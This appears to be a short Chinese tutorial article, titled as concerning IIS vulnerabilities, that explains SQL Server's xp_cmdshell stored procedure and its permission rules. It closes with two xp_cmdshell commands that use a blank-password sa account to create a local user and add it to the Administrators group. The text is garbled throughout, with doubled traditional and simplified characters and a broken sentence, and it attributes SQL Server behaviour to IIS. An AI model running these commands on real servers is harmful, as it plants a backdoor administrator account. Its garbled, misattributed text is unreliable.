IIS漏洞對(duì)數(shù)據(jù)庫(kù)安全的知識(shí)分析
我們今天來(lái)講解下IIS漏洞的知識(shí),在SQL Server中有很多系統(tǒng)存儲(chǔ)過(guò)程,有些是數(shù)據(jù)庫(kù)內(nèi)部使用的,還有一些就是通過(guò)執(zhí)行存儲(chǔ)過(guò)程來(lái)調(diào)用系統(tǒng)命令。 系統(tǒng)存儲(chǔ)過(guò)程:xp_cmdshell
就是以操作系統(tǒng)命令行解釋器的方式執(zhí)行給定的命令字符串。它就具體語(yǔ)法是: xp_cmdshell {'command_string'} [, no_output]
xp_cmdshell
相對(duì)IIS漏洞而言,在默認(rèn)情況下,只有 sysadmin 的成員才能執(zhí)行。但是,sysadmin也可以授予其他用戶這個(gè)執(zhí)行權(quán)限。在早期版本中,獲得 xp_cmdshell 執(zhí)行權(quán)限的用戶在 SQL Server 服務(wù)的用戶帳戶中運(yùn)行命令。學(xué)習(xí)IIS漏洞的知識(shí)時(shí),我們應(yīng)該謹(jǐn)慎。
可以通過(guò)配置選項(xiàng)配置 SQL Server,以便對(duì) SQL Server 無(wú) sa 訪問(wèn)權(quán)限的用戶能夠在SQLExecutiveCmdExec Windows NT 帳戶中運(yùn)行 xp_cmdshell。在 SQL Server 7.0 中,該帳戶稱為 SQLAgentCmdExec?,F(xiàn)在對(duì)于SQL Server2000,只要有一個(gè)能執(zhí)行該存儲(chǔ)過(guò)程的帳號(hào)就可以直接運(yùn)行命令了。
對(duì)于 NT 和 WIN2000,當(dāng)用戶不是 sysadmin 組的成員時(shí),xp_cmdshell 將模擬使用 xp_sqlagent_proxy_account 指定的 SQL Server 代理程序的代理帳戶。如果代理帳戶不能用,則 xp_cmdshell 將失敗。所以即使有一個(gè)帳戶是master數(shù)據(jù)庫(kù)的db_owner,也不能執(zhí)行這個(gè)存儲(chǔ)過(guò)程。
如果我們有一個(gè)能執(zhí)行xp_cmdshell的數(shù)據(jù)庫(kù)帳號(hào),比如是空口令的sa帳號(hào)。那么我們可以執(zhí)行這樣的命令:
- exec xp_cmdshell 'net user refdom 123456 /add'
- exec xp_cmdshell 'net localgroup administrators refdom /add'
上面兩次調(diào)用就在系統(tǒng)的管理員組中添加了一個(gè)用戶:refdom
當(dāng)我們獲得數(shù)據(jù)庫(kù)的sa管理員帳號(hào)后,就應(yīng)該可以完全控制這個(gè)機(jī)器了??梢?jiàn)IIS漏洞對(duì)數(shù)據(jù)庫(kù)安全的重要性。
【編輯推薦】